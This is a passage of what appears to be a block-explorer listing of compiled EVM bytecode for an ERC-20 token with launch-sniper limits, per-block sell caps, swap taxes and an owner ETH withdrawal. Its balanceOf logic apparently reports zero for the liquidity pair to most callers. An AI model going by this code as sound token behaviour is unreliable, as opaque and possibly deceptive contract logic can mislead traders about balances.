919061294b565b60405180910390f35b3480156105b7575f80fd5b506105d260048036038101906105cd91906129cc565b61101f565b6040516105df9190612a24565b60405180910390f35b3480156105f3575f80fd5b506105fc611041565b60405161060991906128c2565b60405180910390f35b34801561061d575f80fd5b50610626611059565b60405161063593929190612b52565b60405180910390f35b348015610649575f80fd5b50610652611185565b60405161065f9190612a4c565b60405180910390f35b348015610673575f80fd5b5061068e60048036038101906106899190612b87565b61118b565b60405161069b9190612a4c565b60405180910390f35b3480156106af575f80fd5b506106b861120d565b6040516106c591906128c2565b60405180910390f35b3480156106d9575f80fd5b506106f460048036038101906106ef9190612b27565b611231565b005b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606003805461072a90612bf2565b80601f016020809104026020016040519081016040528092919081815260200182805461075690612bf2565b80156107a15780601f10610778576101008083540402835291602001916107a1565b820191905f5260205f20905b81548152906001019060200180831161078457829003601f168201915b5050505050905090565b5f806107b5611327565b90506107c281858561132e565b600191505092915050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b610800611327565b73ffffffffffffffffffffffffffffffffffffffff1661081e610f61565b73ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c6c565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156108d7573d5f803e3d5ffd5b50565b5f600254905090565b73c36442b4a4522e871399cd717abdd847ab11fe8881565b60155481565b5f8061090b611327565b905061091d85858560138190556114f1565b61092a8582601354611e95565b60019150509392505050565b5f60056008546109469190612cb7565b431115905090565b5f6009905090565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610983611327565b73ffffffffffffffffffffffffffffffffffffffff166109a1610f61565b73ffffffffffffffffffffffffffffffffffffffff16146109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee90612c6c565b60405180910390fd5b81601081905550806011819055505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a36611327565b73ffffffffffffffffffffffffffffffffffffffff16610a54610f61565b73ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190612c6c565b60405180910390fd5b610ab26108da565b600f81905550565b5f610ac6826009611f20565b9050919050565b610ad5611327565b73ffffffffffffffffffffffffffffffffffffffff16610af3610f61565b73ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090612c6c565b60405180910390fd5b610b525f611f79565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bda90612d34565b60405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60185481565b610c34611327565b73ffffffffffffffffffffffffffffffffffffffff16610c52610f61565b73ffffffffffffffffffffffffffffffffffffffff1614610ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9f90612c6c565b60405180910390fd5b610cba3330610cb56108da565b61203c565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d0230610aba565b5f8033426040518863ffffffff1660e01b8152600401610d2796959493929190612d94565b60606040518083038185885af1158015610d43573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d689190612e07565b505050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610df99190612e6b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea39190612e6b565b6040518363ffffffff1660e01b8152600401610ec0929190612e96565b602060405180830381865afa158015610edb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eff9190612e6b565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550436012600c6101000a81548163ffffffff021916908363ffffffff160217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b606060048054610f9e90612bf2565b80601f0160208091040260200160405190810160405280929190818152602001828054610fca90612bf2565b80156110155780601f10610fec57610100808354040283529160200191611015565b820191905f5260205f20905b815481529060010190602001808311610ff857829003601f168201915b5050505050905090565b5f80611029611327565b90506110368185856114f1565b600191505092915050565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b5f805f8073c36442b4a4522e871399cd717abdd847ab11fe8873ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110de9190612e6b565b90505f8173ffffffffffffffffffffffffffffffffffffffff16631698ee823073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26127106040518463ffffffff1660e01b815260040161113493929190612f04565b602060405180830381865afa15801561114f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111739190612e6b565b90508030839450945094505050909192565b60165481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b611239611327565b73ffffffffffffffffffffffffffffffffffffffff16611257610f61565b73ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612c6c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361131b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131290612fa9565b60405180910390fd5b61132481611f79565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613037565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361140a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611401906130c5565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114e49190612a4c565b60405180910390a3505050565b5f8111611533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152a90613153565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906131e1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361160f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116069061326f565b60405180910390fd5b5f601b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806116ab5750601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b90505f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415806117065750805b611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c906132d7565b60405180910390fd5b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161490505f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161490505f60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f611832611327565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f61187f61187a611327565b6122b1565b905082801561188c575084155b15611b3d57600f548661189e89610aba565b6118a89190612cb7565b1115806119015750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b611940576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119379061333f565b60405180910390fd5b601260149054906101000a900463ffffffff1663ffffffff1660125f9054906101000a900463ffffffff1663ffffffff16116119b75760125f81819054906101000a900463ffffffff16809291906119979061336c565b91906101000a81548163ffffffff021916908363ffffffff160217905550505b601260149054906101000a900463ffffffff1663ffffffff1660125f9054906101000a900463ffffffff1663ffffffff1603611a2c57601260189054906101000a900463ffffffff1663ffffffff166016819055506012601c9054906101000a900463ffffffff1663ffffffff166017819055505b6012600c9054906101000a900463ffffffff1663ffffffff164363ffffffff1603611b3c5760316012601081819054906101000a900463ffffffff1680929190611a759061336c565b91906101000a81548163ffffffff021916908363ffffffff16021790555063ffffffff1610611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad0906133e1565b60405180910390fd5b6031601260109054906101000a900463ffffffff1663ffffffff1603611b3b5786601460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5f611b4730610aba565b9050848015611b62575060145f9054906101000a900460ff16155b8015611b6c575085155b15611d5257601260089054906101000a900463ffffffff1663ffffffff16431115611bb3575f601260046101000a81548163ffffffff021916908363ffffffff1602179055505b6003601260049054906101000a900463ffffffff1663ffffffff1610611c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0590613449565b60405180910390fd5b600160145f6101000a81548160ff0219169083151502179055505f601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614611c845787611c94565b6002601054611c939190613494565b5b9050611cb3611cae82611ca98560105461234f565b61234f565b612367565b5f60145f6101000a81548160ff0219169083151502179055505f4790505f83101580611cde57505f81115b15611ced57611cec816125a6565b5b6012600481819054906101000a900463ffffffff1680929190611d0f9061336c565b91906101000a81548163ffffffff021916908363ffffffff1602179055505043601260086101000a81548163ffffffff021916908363ffffffff16021790555050505b5f84611d6057601754611d64565b6016545b9050611d7188858561260d565b6013819055505f60135410158015611d8857505f81115b8015611d92575086155b8015611daa575060145f9054906101000a900460ff16155b8015611dbb57508480611dba5750855b5b15611e03575f6064828a611dcf91906134c4565b611dd99190613494565b90505f811115611dfd57611dee8b308361203c565b8089611dfa9190613505565b98505b50611e7e565b5f81118015611e10575086155b8015611e28575060145f9054906101000a900460ff16155b8015611e3957508480611e385750855b5b15611e7d575f6064828a611e4d91906134c4565b611e579190613494565b90505f811115611e7b57611e6c8b308361203c565b8089611e789190613505565b98505b505b5b611e898a8a8a61203c565b50505050505050505050565b5f611ea0848461118b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611f1a5781811015611f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0390613582565b60405180910390fd5b611f19848484840361132e565b5b50505050565b5f611f2a83612645565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f7191906134c4565b905092915050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a190613610565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210f9061369e565b60405180910390fd5b612123838383612677565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156121a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219d9061372c565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546122349190612cb7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122989190612a4c565b60405180910390a36122ab84848461267c565b50505050565b5f601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612309575f905061234a565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612345576001905061234a565b600190505b919050565b5f81831161235d578261235f565b815b905092915050565b5f8103156125a3575f600267ffffffffffffffff81111561238b5761238a61374a565b5b6040519080825280602002602001820160405280156123b95781602001602082028036833780820191505090505b50905030815f815181106123d0576123cf613777565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612474573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124989190612e6b565b816001815181106124ac576124ab613777565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251230600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461132e565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161257495949392919061385b565b5f604051808303815f87803b15801561258b575f80fd5b505af115801561259d573d5f803e3d5ffd5b50505050505b50565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612609573d5f803e3d5ffd5b5050565b5f8282600161261c9190613505565b61262691906134c4565b828561263291906134c4565b61263c9190612cb7565b90509392505050565b5f61264f82612681565b8015612660575061265f826127de565b5b61266b57600161266d565b5f5b60ff169050919050565b505050565b505050565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015612713575061dead73ffffffffffffffffffffffffffffffffffffffff166126fa61287c565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156127d757505f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161279691906128c2565b602060405180830381865afa1580156127b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906127d591906138b3565b115b9050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff166127fe61287c565b73ffffffffffffffffffffffffffffffffffffffff161415801561287557507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1661285c61287c565b73ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b5f32905090565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6128ac82612883565b9050919050565b6128bc816128a2565b82525050565b5f6020820190506128d55f8301846128b3565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61291d826128db565b61292781856128e5565b93506129378185602086016128f5565b61294081612903565b840191505092915050565b5f6020820190508181035f8301526129638184612913565b905092915050565b5f80fd5b612978816128a2565b8114612982575f80fd5b50565b5f813590506129938161296f565b92915050565b5f819050919050565b6129ab81612999565b81146129b5575f80fd5b50565b5f813590506129c6816129a2565b92915050565b5f80604083850312156129e2576129e161296b565b5b5f6129ef85828601612985565b9250506020612a00858286016129b8565b9150509250929050565b5f8115159050919050565b612a1e81612a0a565b82525050565b5f602082019050612a375f830184612a15565b92915050565b612a4681612999565b82525050565b5f602082019050612a5f5f830184612a3d565b92915050565b5f805f60608486031215612a7c57612a7b61296b565b5b5f612a8986828701612985565b9350506020612a9a86828701612985565b9250506040612aab868287016129b8565b9150509250925092565b5f60ff82169050919050565b612aca81612ab5565b82525050565b5f602082019050612ae35f830184612ac1565b92915050565b5f8060408385031215612aff57612afe61296b565b5b5f612b0c858286016129b8565b9250506020612b1d858286016129b8565b9150509250929050565b5f60208284031215612b3c57612b3b61296b565b5b5f612b4984828501612985565b91505092915050565b5f606082019050612b655f8301866128b3565b612b7260208301856128b3565b612b7f60408301846128b3565b949350505050565b5f8060408385031215612b9d57612b9c61296b565b5b5f612baa85828601612985565b9250506020612bbb85828601612985565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612c0957607f821691505b602082108103612c1c57612c1b612bc5565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c566020836128e5565b9150612c6182612c22565b602082019050919050565b5f6020820190508181035f830152612c8381612c4a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612cc182612999565b9150612ccc83612999565b9250828201905080821115612ce457612ce3612c8a565b5b92915050565b7f4f6e6c7920706c6174666f726d2063616e206368616e67652063726561746f725f82015250565b5f612d1e6020836128e5565b9150612d2982612cea565b602082019050919050565b5f6020820190508181035f830152612d4b81612d12565b9050919050565b5f819050919050565b5f819050919050565b5f612d7e612d79612d7484612d52565b612d5b565b612999565b9050919050565b612d8e81612d64565b82525050565b5f60c082019050612da75f8301896128b3565b612db46020830188612a3d565b612dc16040830187612d85565b612dce6060830186612d85565b612ddb60808301856128b3565b612de860a0830184612a3d565b979650505050505050565b5f81519050612e01816129a2565b92915050565b5f805f60608486031215612e1e57612e1d61296b565b5b5f612e2b86828701612df3565b9350506020612e3c86828701612df3565b9250506040612e4d86828701612df3565b9150509250925092565b5f81519050612e658161296f565b92915050565b5f60208284031215612e8057612e7f61296b565b5b5f612e8d84828501612e57565b91505092915050565b5f604082019050612ea95f8301856128b3565b612eb660208301846128b3565b9392505050565b5f819050919050565b5f62ffffff82169050919050565b5f612eee612ee9612ee484612ebd565b612d5b565b612ec6565b9050919050565b612efe81612ed4565b82525050565b5f606082019050612f175f8301866128b3565b612f2460208301856128b3565b612f316040830184612ef5565b949350505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612f936026836128e5565b9150612f9e82612f39565b604082019050919050565b5f6020820190508181035f830152612fc081612f87565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6130216024836128e5565b915061302c82612fc7565b604082019050919050565b5f6020820190508181035f83015261304e81613015565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130af6022836128e5565b91506130ba82613055565b604082019050919050565b5f6020820190508181035f8301526130dc816130a3565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f61313d602a836128e5565b9150613148826130e3565b604082019050919050565b5f6020820190508181035f83015261316a81613131565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f2061646472657373206e5f8201527f6f7420616c6c6f7765642e000000000000000000000000000000000000000000602082015250565b5f6131cb602b836128e5565b91506131d682613171565b604082019050919050565b5f6020820190508181035f8301526131f8816131bf565b9050919050565b7f5472616e7366657220746f20746865207a65726f2061646472657373206e6f745f8201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000602082015250565b5f6132596029836128e5565b9150613264826131ff565b604082019050919050565b5f6020820190508181035f8301526132868161324d565b9050919050565b7f4c69717569646974792070616972206e6f742079657420637265617465642e005f82015250565b5f6132c1601f836128e5565b91506132cc8261328d565b602082019050919050565b5f6020820190508181035f8301526132ee816132b5565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f6133296013836128e5565b9150613334826132f5565b602082019050919050565b5f6020820190508181035f8301526133568161331d565b9050919050565b5f63ffffffff82169050919050565b5f6133768261335d565b915063ffffffff820361338c5761338b612c8a565b5b600182019050919050565b7f457863657373206c61756e636820736e697065727300000000000000000000005f82015250565b5f6133cb6015836128e5565b91506133d682613397565b602082019050919050565b5f6020820190508181035f8301526133f8816133bf565b9050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6134336017836128e5565b915061343e826133ff565b602082019050919050565b5f6020820190508181035f83015261346081613427565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61349e82612999565b91506134a983612999565b9250826134b9576134b8613467565b5b828204905092915050565b5f6134ce82612999565b91506134d983612999565b92508282026134e781612999565b915082820484148315176134fe576134fd612c8a565b5b5092915050565b5f61350f82612999565b915061351a83612999565b925082820390508181111561353257613531612c8a565b5b92915050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f61356c601d836128e5565b915061357782613538565b602082019050919050565b5f6020820190508181035f83015261359981613560565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6135fa6023836128e5565b9150613605826135a0565b604082019050919050565b5f6020820190508181035f830152613627816135ee565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6136886025836128e5565b91506136938261362e565b604082019050919050565b5f6020820190508181035f8301526136b58161367c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6137166026836128e5565b9150613721826136bc565b604082019050919050565b5f6020820190508181035f8301526137438161370a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6137d6816128a2565b82525050565b5f6137e783836137cd565b60208301905092915050565b5f602082019050919050565b5f613809826137a4565b61381381856137ae565b935061381e836137be565b805f5b8381101561384e57815161383588826137dc565b9750613840836137f3565b925050600181019050613821565b5085935050505092915050565b5f60a08201905061386e5f830188612a3d565b61387b6020830187612d85565b818103604083015261388d81866137ff565b905061389c60608301856128b3565b6138a96080830184612a3d565b9695505050505050565b5f602082840312156138c8576138c761296b565b5b5f6138d584828501612df3565b9150509291505056fea2646970667358221220ccac20b6423b23e85d935f0e7d73b2194fd20000bc1080024665ab1b96b8109264736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106101db575f3560e01c8063622565891161010157806395d89b4111610094578063d081180711610063578063d08118071461063e578063dd62ed3e14610668578063e6ef73d6146106a4578063f2fde38b146106ce576101e2565b806395d89b4114610582578063a9059cbb146105ac578063ad5c4648146105e8578063cbbc94cf14610612576101e2565b806388696855116100d057806388696855146104fa5780638a8c523c146105245780638da5cb5b1461052e5780638f3fa86014610558576101e2565b8063622565891461046a57806370a0823114610480578063715018a6146104bc57806374580e2f146104d2576101e2565b80631bea83fe11610179578063313ce56711610148578063313ce567146103c457806332972e46146103ee5780633852a557146104185780634bde38c814610440576101e2565b80631bea83fe1461030a5780631d1687791461033457806323b872dd1461035e5780632f4237c01461039a576101e2565b8063161b822c116101b5578063161b822c146102765780631678e6f8146102a057806317ccb1bf146102ca57806318160ddd146102e0576101e2565b806302d05d3f146101e657806306fdde0314610210578063095ea7b31461023a576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106f6565b60405161020791906128c2565b60405180910390f35b34801561021b575f80fd5b5061022461071b565b604051610231919061294b565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b91906129cc565b6107ab565b60405161026d9190612a24565b60405180910390f35b348015610281575f80fd5b5061028a6107cd565b60405161029791906128c2565b60405180910390f35b3480156102ab575f80fd5b506102b46107f2565b6040516102c19190612a4c565b60405180910390f35b3480156102d5575f80fd5b506102de6107f8565b005b3480156102eb575f80fd5b506102f46108da565b6040516103019190612a4c565b60405180910390f35b348015610315575f80fd5b5061031e6108e3565b60405161032b91906128c2565b60405180910390f35b34801561033f575f80fd5b506103486108fb565b6040516103559190612a4c565b60405180910390f35b348015610369575f80fd5b50610384600480360381019061037f9190612a65565b610901565b6040516103919190612a24565b60405180910390f35b3480156103a5575f80fd5b506103ae610936565b6040516103bb9190612a24565b60405180910390f35b3480156103cf575f80fd5b506103d861094e565b6040516103e59190612ad0565b60405180910390f35b3480156103f9575f80fd5b50610402610956565b60405161040f91906128c2565b60405180910390f35b348015610423575f80fd5b5061043e60048036038101906104399190612ae9565b61097b565b005b34801561044b575f80fd5b50610454610a09565b60405161046191906128c2565b60405180910390f35b348015610475575f80fd5b5061047e610a2e565b005b34801561048b575f80fd5b506104a660048036038101906104a19190612b27565b610aba565b6040516104b39190612a4c565b60405180910390f35b3480156104c7575f80fd5b506104d0610acd565b005b3480156104dd575f80fd5b506104f860048036038101906104f39190612b27565b610b54565b005b348015610505575f80fd5b5061050e610c26565b60405161051b9190612a4c565b60405180910390f35b61052c610c2c565b005b348015610539575f80fd5b50610542610f61565b60405161054f91906128c2565b60405180910390f35b348015610563575f80fd5b5061056c610f89565b6040516105799190612a4c565b60405180910390f35b34801561058d575f80fd5b50610596610f8f565b6040516105a3919061294b565b60405180910390f35b3480156105b7575f80fd5b506105d260048036038101906105cd91906129cc565b61101f565b6040516105df9190612a24565b60405180910390f35b3480156105f3575f80fd5b506105fc611041565b60405161060991906128c2565b60405180910390f35b34801561061d575f80fd5b50610626611059565b60405161063593929190612b52565b60405180910390f35b348015610649575f80fd5b50610652611185565b60405161065f9190612a4c565b60405180910390f35b348015610673575f80fd5b5061068e60048036038101906106899190612b87565b61118b565b60405161069b9190612a4c565b60405180910390f35b3480156106af575f80fd5b506106b861120d565b6040516106c591906128c2565b60405180910390f35b3480156106d9575f80fd5b506106f460048036038101906106ef9190612b27565b611231565b005b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606003805461072a90612bf2565b80601f016020809104026020016040519081016040528092919081815260200182805461075690612bf2565b80156107a15780601f10610778576101008083540402835291602001916107a1565b820191905f5260205f20905b81548152906001019060200180831161078457829003601f168201915b5050505050905090565b5f806107b5611327565b90506107c281858561132e565b600191505092915050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b610800611327565b73ffffffffffffffffffffffffffffffffffffffff1661081e610f61565b73ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c6c565b60405180910390fd5b7f0000000000000000000000005a66bec510f204c358f8322b707f467f0cd38e4a73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156108d7573d5f803e3d5ffd5b50565b5f600254905090565b73c36442b4a4522e871399cd717abdd847ab11fe8881565b60155481565b5f8061090b611327565b905061091d85858560138190556114f1565b61092a8582601354611e95565b60019150509392505050565b5f60056008546109469190612cb7565b431115905090565b5f6009905090565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610983611327565b73ffffffffffffffffffffffffffffffffffffffff166109a1610f61565b73ffffffffffffffffffffffffffffffffffffffff16146109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee90612c6c565b60405180910390fd5b81601081905550806011819055505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a36611327565b73ffffffffffffffffffffffffffffffffffffffff16610a54610f61565b73ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190612c6c565b60405180910390fd5b610ab26108da565b600f81905550565b5f610ac6826009611f20565b9050919050565b610ad5611327565b73ffffffffffffffffffffffffffffffffffffffff16610af3610f61565b73ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090612c6c565b60405180910390fd5b610b525f611f79565b565b60065f9054906101000a900473ffffffffffffffffff